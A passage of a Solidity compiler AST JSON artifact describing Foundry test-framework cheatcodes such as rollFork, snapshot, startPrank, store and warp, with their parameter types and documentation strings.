accounts."},"functionSelector":"1c72346d","implemented":false,"kind":"function","modifiers":[],"name":"resetNonce","nameLocation":"77469:10:13","parameters":{"id":15355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15354,"mutability":"mutable","name":"account","nameLocation":"77488:7:13","nodeType":"VariableDeclaration","scope":15357,"src":"77480:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15353,"name":"address","nodeType":"ElementaryTypeName","src":"77480:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"77479:17:13"},"returnParameters":{"id":15356,"nodeType":"ParameterList","parameters":[],"src":"77505:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15365,"nodeType":"FunctionDefinition","src":"77849:70:13","nodes":[],"documentation":{"id":15358,"nodeType":"StructuredDocumentation","src":"77512:332:13","text":"Revert the state of the EVM to a previous snapshot\n Takes the snapshot ID to revert to.\n Returns `true` if the snapshot was successfully reverted.\n Returns `false` if the snapshot does not exist.\n **Note:** This does not automatically delete the snapshot. To delete the snapshot use `deleteSnapshot`."},"functionSelector":"44d7f0a4","implemented":false,"kind":"function","modifiers":[],"name":"revertTo","nameLocation":"77858:8:13","parameters":{"id":15361,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15360,"mutability":"mutable","name":"snapshotId","nameLocation":"77875:10:13","nodeType":"VariableDeclaration","scope":15365,"src":"77867:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15359,"name":"uint256","nodeType":"ElementaryTypeName","src":"77867:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"77866:20:13"},"returnParameters":{"id":15364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15363,"mutability":"mutable","name":"success","nameLocation":"77910:7:13","nodeType":"VariableDeclaration","scope":15365,"src":"77905:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15362,"name":"bool","nodeType":"ElementaryTypeName","src":"77905:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"77904:14:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15373,"nodeType":"FunctionDefinition","src":"78202:79:13","nodes":[],"documentation":{"id":15366,"nodeType":"StructuredDocumentation","src":"77925:272:13","text":"Revert the state of the EVM to a previous snapshot and automatically deletes the snapshots\n Takes the snapshot ID to revert to.\n Returns `true` if the snapshot was successfully reverted and deleted.\n Returns `false` if the snapshot does not exist."},"functionSelector":"03e0aca9","implemented":false,"kind":"function","modifiers":[],"name":"revertToAndDelete","nameLocation":"78211:17:13","parameters":{"id":15369,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15368,"mutability":"mutable","name":"snapshotId","nameLocation":"78237:10:13","nodeType":"VariableDeclaration","scope":15373,"src":"78229:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15367,"name":"uint256","nodeType":"ElementaryTypeName","src":"78229:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"78228:20:13"},"returnParameters":{"id":15372,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15371,"mutability":"mutable","name":"success","nameLocation":"78272:7:13","nodeType":"VariableDeclaration","scope":15373,"src":"78267:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15370,"name":"bool","nodeType":"ElementaryTypeName","src":"78267:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"78266:14:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15379,"nodeType":"FunctionDefinition","src":"78378:52:13","nodes":[],"documentation":{"id":15374,"nodeType":"StructuredDocumentation","src":"78287:86:13","text":"Revokes persistent status from the address, previously added via `makePersistent`."},"functionSelector":"997a0222","implemented":false,"kind":"function","modifiers":[],"name":"revokePersistent","nameLocation":"78387:16:13","parameters":{"id":15377,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15376,"mutability":"mutable","name":"account","nameLocation":"78412:7:13","nodeType":"VariableDeclaration","scope":15379,"src":"78404:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15375,"name":"address","nodeType":"ElementaryTypeName","src":"78404:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"78403:17:13"},"returnParameters":{"id":15378,"nodeType":"ParameterList","parameters":[],"src":"78429:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15386,"nodeType":"FunctionDefinition","src":"78477:64:13","nodes":[],"documentation":{"id":15380,"nodeType":"StructuredDocumentation","src":"78436:36:13","text":"See `revokePersistent(address)`."},"functionSelector":"3ce969e6","implemented":false,"kind":"function","modifiers":[],"name":"revokePersistent","nameLocation":"78486:16:13","parameters":{"id":15384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15383,"mutability":"mutable","name":"accounts","nameLocation":"78522:8:13","nodeType":"VariableDeclaration","scope":15386,"src":"78503:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":15381,"name":"address","nodeType":"ElementaryTypeName","src":"78503:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":15382,"nodeType":"ArrayTypeName","src":"78503:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"78502:29:13"},"returnParameters":{"id":15385,"nodeType":"ParameterList","parameters":[],"src":"78540:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15392,"nodeType":"FunctionDefinition","src":"78576:42:13","nodes":[],"documentation":{"id":15387,"nodeType":"StructuredDocumentation","src":"78547:24:13","text":"Sets `block.height`."},"functionSelector":"1f7b4f30","implemented":false,"kind":"function","modifiers":[],"name":"roll","nameLocation":"78585:4:13","parameters":{"id":15390,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15389,"mutability":"mutable","name":"newHeight","nameLocation":"78598:9:13","nodeType":"VariableDeclaration","scope":15392,"src":"78590:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15388,"name":"uint256","nodeType":"ElementaryTypeName","src":"78590:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"78589:19:13"},"returnParameters":{"id":15391,"nodeType":"ParameterList","parameters":[],"src":"78617:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15398,"nodeType":"FunctionDefinition","src":"78757:48:13","nodes":[],"documentation":{"id":15393,"nodeType":"StructuredDocumentation","src":"78624:128:13","text":"Updates the currently active fork to given block number\n This is similar to `roll` but for the currently active fork."},"functionSelector":"d9bbf3a1","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"78766:8:13","parameters":{"id":15396,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15395,"mutability":"mutable","name":"blockNumber","nameLocation":"78783:11:13","nodeType":"VariableDeclaration","scope":15398,"src":"78775:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15394,"name":"uint256","nodeType":"ElementaryTypeName","src":"78775:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"78774:21:13"},"returnParameters":{"id":15397,"nodeType":"ParameterList","parameters":[],"src":"78804:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15404,"nodeType":"FunctionDefinition","src":"79020:43:13","nodes":[],"documentation":{"id":15399,"nodeType":"StructuredDocumentation","src":"78811:204:13","text":"Updates the currently active fork to given transaction. This will `rollFork` with the number\n of the block the transaction was mined in and replays all transaction mined before it in the block."},"functionSelector":"0f29772b","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"79029:8:13","parameters":{"id":15402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15401,"mutability":"mutable","name":"txHash","nameLocation":"79046:6:13","nodeType":"VariableDeclaration","scope":15404,"src":"79038:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15400,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79038:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"79037:16:13"},"returnParameters":{"id":15403,"nodeType":"ParameterList","parameters":[],"src":"79062:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15412,"nodeType":"FunctionDefinition","src":"79123:64:13","nodes":[],"documentation":{"id":15405,"nodeType":"StructuredDocumentation","src":"79069:49:13","text":"Updates the given fork to given block number."},"functionSelector":"d74c83a4","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"79132:8:13","parameters":{"id":15410,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15407,"mutability":"mutable","name":"forkId","nameLocation":"79149:6:13","nodeType":"VariableDeclaration","scope":15412,"src":"79141:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15406,"name":"uint256","nodeType":"ElementaryTypeName","src":"79141:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15409,"mutability":"mutable","name":"blockNumber","nameLocation":"79165:11:13","nodeType":"VariableDeclaration","scope":15412,"src":"79157:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15408,"name":"uint256","nodeType":"ElementaryTypeName","src":"79157:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"79140:37:13"},"returnParameters":{"id":15411,"nodeType":"ParameterList","parameters":[],"src":"79186:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15420,"nodeType":"FunctionDefinition","src":"79323:59:13","nodes":[],"documentation":{"id":15413,"nodeType":"StructuredDocumentation","src":"79193:125:13","text":"Updates the given fork to block number of the given transaction and replays all transaction mined before it in the block."},"functionSelector":"f2830f7b","implemented":false,"kind":"function","modifiers":[],"name":"rollFork","nameLocation":"79332:8:13","parameters":{"id":15418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15415,"mutability":"mutable","name":"forkId","nameLocation":"79349:6:13","nodeType":"VariableDeclaration","scope":15420,"src":"79341:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15414,"name":"uint256","nodeType":"ElementaryTypeName","src":"79341:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15417,"mutability":"mutable","name":"txHash","nameLocation":"79365:6:13","nodeType":"VariableDeclaration","scope":15420,"src":"79357:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15416,"name":"bytes32","nodeType":"ElementaryTypeName","src":"79357:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"79340:32:13"},"returnParameters":{"id":15419,"nodeType":"ParameterList","parameters":[],"src":"79381:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15426,"nodeType":"FunctionDefinition","src":"79495:45:13","nodes":[],"documentation":{"id":15421,"nodeType":"StructuredDocumentation","src":"79388:102:13","text":"Takes a fork identifier created by `createFork` and sets the corresponding forked state as active."},"functionSelector":"9ebf6827","implemented":false,"kind":"function","modifiers":[],"name":"selectFork","nameLocation":"79504:10:13","parameters":{"id":15424,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15423,"mutability":"mutable","name":"forkId","nameLocation":"79523:6:13","nodeType":"VariableDeclaration","scope":15426,"src":"79515:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15422,"name":"uint256","nodeType":"ElementaryTypeName","src":"79515:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"79514:16:13"},"returnParameters":{"id":15425,"nodeType":"ParameterList","parameters":[],"src":"79539:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15434,"nodeType":"FunctionDefinition","src":"79638:61:13","nodes":[],"documentation":{"id":15427,"nodeType":"StructuredDocumentation","src":"79546:87:13","text":"Sets the nonce of an account. Must be higher than the current nonce of the account."},"functionSelector":"f8e18b57","implemented":false,"kind":"function","modifiers":[],"name":"setNonce","nameLocation":"79647:8:13","parameters":{"id":15432,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15429,"mutability":"mutable","name":"account","nameLocation":"79664:7:13","nodeType":"VariableDeclaration","scope":15434,"src":"79656:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15428,"name":"address","nodeType":"ElementaryTypeName","src":"79656:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15431,"mutability":"mutable","name":"newNonce","nameLocation":"79680:8:13","nodeType":"VariableDeclaration","scope":15434,"src":"79673:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15430,"name":"uint64","nodeType":"ElementaryTypeName","src":"79673:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"79655:34:13"},"returnParameters":{"id":15433,"nodeType":"ParameterList","parameters":[],"src":"79698:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15442,"nodeType":"FunctionDefinition","src":"79765:67:13","nodes":[],"documentation":{"id":15435,"nodeType":"StructuredDocumentation","src":"79705:55:13","text":"Sets the nonce of an account to an arbitrary value."},"functionSelector":"9b67b21c","implemented":false,"kind":"function","modifiers":[],"name":"setNonceUnsafe","nameLocation":"79774:14:13","parameters":{"id":15440,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15437,"mutability":"mutable","name":"account","nameLocation":"79797:7:13","nodeType":"VariableDeclaration","scope":15442,"src":"79789:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15436,"name":"address","nodeType":"ElementaryTypeName","src":"79789:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15439,"mutability":"mutable","name":"newNonce","nameLocation":"79813:8:13","nodeType":"VariableDeclaration","scope":15442,"src":"79806:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15438,"name":"uint64","nodeType":"ElementaryTypeName","src":"79806:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"79788:34:13"},"returnParameters":{"id":15441,"nodeType":"ParameterList","parameters":[],"src":"79831:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15448,"nodeType":"FunctionDefinition","src":"79987:58:13","nodes":[],"documentation":{"id":15443,"nodeType":"StructuredDocumentation","src":"79838:144:13","text":"Snapshot the current state of the evm.\n Returns the ID of the snapshot that was created.\n To revert a snapshot use `revertTo`."},"functionSelector":"9711715a","implemented":false,"kind":"function","modifiers":[],"name":"snapshot","nameLocation":"79996:8:13","parameters":{"id":15444,"nodeType":"ParameterList","parameters":[],"src":"80004:2:13"},"returnParameters":{"id":15447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15446,"mutability":"mutable","name":"snapshotId","nameLocation":"80033:10:13","nodeType":"VariableDeclaration","scope":15448,"src":"80025:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15445,"name":"uint256","nodeType":"ElementaryTypeName","src":"80025:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"80024:20:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15454,"nodeType":"FunctionDefinition","src":"80152:48:13","nodes":[],"documentation":{"id":15449,"nodeType":"StructuredDocumentation","src":"80051:96:13","text":"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called."},"functionSelector":"06447d56","implemented":false,"kind":"function","modifiers":[],"name":"startPrank","nameLocation":"80161:10:13","parameters":{"id":15452,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15451,"mutability":"mutable","name":"msgSender","nameLocation":"80180:9:13","nodeType":"VariableDeclaration","scope":15454,"src":"80172:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15450,"name":"address","nodeType":"ElementaryTypeName","src":"80172:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"80171:19:13"},"returnParameters":{"id":15453,"nodeType":"ParameterList","parameters":[],"src":"80199:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15462,"nodeType":"FunctionDefinition","src":"80351:66:13","nodes":[],"documentation":{"id":15455,"nodeType":"StructuredDocumentation","src":"80206:140:13","text":"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called, and the `tx.origin` to be the second input."},"functionSelector":"45b56078","implemented":false,"kind":"function","modifiers":[],"name":"startPrank","nameLocation":"80360:10:13","parameters":{"id":15460,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15457,"mutability":"mutable","name":"msgSender","nameLocation":"80379:9:13","nodeType":"VariableDeclaration","scope":15462,"src":"80371:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15456,"name":"address","nodeType":"ElementaryTypeName","src":"80371:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15459,"mutability":"mutable","name":"txOrigin","nameLocation":"80398:8:13","nodeType":"VariableDeclaration","scope":15462,"src":"80390:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15458,"name":"address","nodeType":"ElementaryTypeName","src":"80390:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"80370:37:13"},"returnParameters":{"id":15461,"nodeType":"ParameterList","parameters":[],"src":"80416:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15466,"nodeType":"FunctionDefinition","src":"80492:30:13","nodes":[],"documentation":{"id":15463,"nodeType":"StructuredDocumentation","src":"80423:64:13","text":"Resets subsequent calls' `msg.sender` to be `address(this)`."},"functionSelector":"90c5013b","implemented":false,"kind":"function","modifiers":[],"name":"stopPrank","nameLocation":"80501:9:13","parameters":{"id":15464,"nodeType":"ParameterList","parameters":[],"src":"80510:2:13"},"returnParameters":{"id":15465,"nodeType":"ParameterList","parameters":[],"src":"80521:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15476,"nodeType":"FunctionDefinition","src":"80580:69:13","nodes":[],"documentation":{"id":15467,"nodeType":"StructuredDocumentation","src":"80528:47:13","text":"Stores a value to an address' storage slot."},"functionSelector":"70ca10bb","implemented":false,"kind":"function","modifiers":[],"name":"store","nameLocation":"80589:5:13","parameters":{"id":15474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15469,"mutability":"mutable","name":"target","nameLocation":"80603:6:13","nodeType":"VariableDeclaration","scope":15476,"src":"80595:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15468,"name":"address","nodeType":"ElementaryTypeName","src":"80595:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15471,"mutability":"mutable","name":"slot","nameLocation":"80619:4:13","nodeType":"VariableDeclaration","scope":15476,"src":"80611:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15470,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80611:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":15473,"mutability":"mutable","name":"value","nameLocation":"80633:5:13","nodeType":"VariableDeclaration","scope":15476,"src":"80625:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15472,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80625:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"80594:45:13"},"returnParameters":{"id":15475,"nodeType":"ParameterList","parameters":[],"src":"80648:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15482,"nodeType":"FunctionDefinition","src":"80752:43:13","nodes":[],"documentation":{"id":15477,"nodeType":"StructuredDocumentation","src":"80655:92:13","text":"Fetches the given transaction from the active fork and executes it on the current state."},"functionSelector":"be646da1","implemented":false,"kind":"function","modifiers":[],"name":"transact","nameLocation":"80761:8:13","parameters":{"id":15480,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15479,"mutability":"mutable","name":"txHash","nameLocation":"80778:6:13","nodeType":"VariableDeclaration","scope":15482,"src":"80770:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15478,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80770:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"80769:16:13"},"returnParameters":{"id":15481,"nodeType":"ParameterList","parameters":[],"src":"80794:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15490,"nodeType":"FunctionDefinition","src":"80897:59:13","nodes":[],"documentation":{"id":15483,"nodeType":"StructuredDocumentation","src":"80801:91:13","text":"Fetches the given transaction from the given fork and executes it on the current state."},"functionSelector":"4d8abc4b","implemented":false,"kind":"function","modifiers":[],"name":"transact","nameLocation":"80906:8:13","parameters":{"id":15488,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15485,"mutability":"mutable","name":"forkId","nameLocation":"80923:6:13","nodeType":"VariableDeclaration","scope":15490,"src":"80915:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15484,"name":"uint256","nodeType":"ElementaryTypeName","src":"80915:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15487,"mutability":"mutable","name":"txHash","nameLocation":"80939:6:13","nodeType":"VariableDeclaration","scope":15490,"src":"80931:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15486,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80931:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"80914:32:13"},"returnParameters":{"id":15489,"nodeType":"ParameterList","parameters":[],"src":"80955:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15496,"nodeType":"FunctionDefinition","src":"80990:50:13","nodes":[],"documentation":{"id":15491,"nodeType":"StructuredDocumentation","src":"80962:23:13","text":"Sets `tx.gasprice`."},"functionSelector":"48f50c0f","implemented":false,"kind":"function","modifiers":[],"name":"txGasPrice","nameLocation":"80999:10:13","parameters":{"id":15494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15493,"mutability":"mutable","name":"newGasPrice","nameLocation":"81018:11:13","nodeType":"VariableDeclaration","scope":15496,"src":"81010:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15492,"name":"uint256","nodeType":"ElementaryTypeName","src":"81010:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"81009:21:13"},"returnParameters":{"id":15495,"nodeType":"ParameterList","parameters":[],"src":"81039:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15502,"nodeType":"FunctionDefinition","src":"81078:45:13","nodes":[],"documentation":{"id":15497,"nodeType":"StructuredDocumentation","src":"81046:27:13","text":"Sets `block.timestamp`."},"functionSelector":"e5d6bf02","implemented":false,"kind":"function","modifiers":[],"name":"warp","nameLocation":"81087:4:13","parameters":{"id":15500,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15499,"mutability":"mutable","name":"newTimestamp","nameLocation":"81100:12:13","nodeType":"VariableDeclaration","scope":15502,"src":"81092:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15498,"name":"uint256","nodeType":"ElementaryTypeName","src":"81092:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"81091:22:13"},"returnParameters":{"id":15501,"nodeType":"ParameterList","parameters":[],"src":"81122:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15514,"nodeType":"FunctionDefinition","src":"81275:105:13","nodes":[],"documentation":{"id":15503,"nodeType":"StructuredDocumentation","src":"81163:107:13","text":"Expect a call to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas."},"functionSelector":"08e4e116","implemented":false,"kind":"function","modifiers":[],"name":"expectCallMinGas","nameLocation":"81284:16:13","parameters":{"id":15512,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15505,"mutability":"mutable","name":"callee","nameLocation":"81309:6:13","nodeType":"VariableDeclaration","scope":15514,"src":"81301:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15504,"name":"address","nodeType":"ElementaryTypeName","src":"81301:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15507,"mutability":"mutable","name":"msgValue","nameLocation":"81325:8:13","nodeType":"VariableDeclaration","scope":15514,"src":"81317:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15506,"name":"uint256","nodeType":"ElementaryTypeName","src":"81317:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15509,"mutability":"mutable","name":"minGas","nameLocation":"81342:6:13","nodeType":"VariableDeclaration","scope":15514,"src":"81335:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15508,"name":"uint64","nodeType":"ElementaryTypeName","src":"81335:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15511,"mutability":"mutable","name":"data","nameLocation":"81365:4:13","nodeType":"VariableDeclaration","scope":15514,"src":"81350:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15510,"name":"bytes","nodeType":"ElementaryTypeName","src":"81350:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"81300:70:13"},"returnParameters":{"id":15513,"nodeType":"ParameterList","parameters":[],"src":"81379:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15528,"nodeType":"FunctionDefinition","src":"81513:127:13","nodes":[],"documentation":{"id":15515,"nodeType":"StructuredDocumentation","src":"81386:122:13","text":"Expect given number of calls to an address with the specified `msg.value` and calldata, and a *minimum* amount of 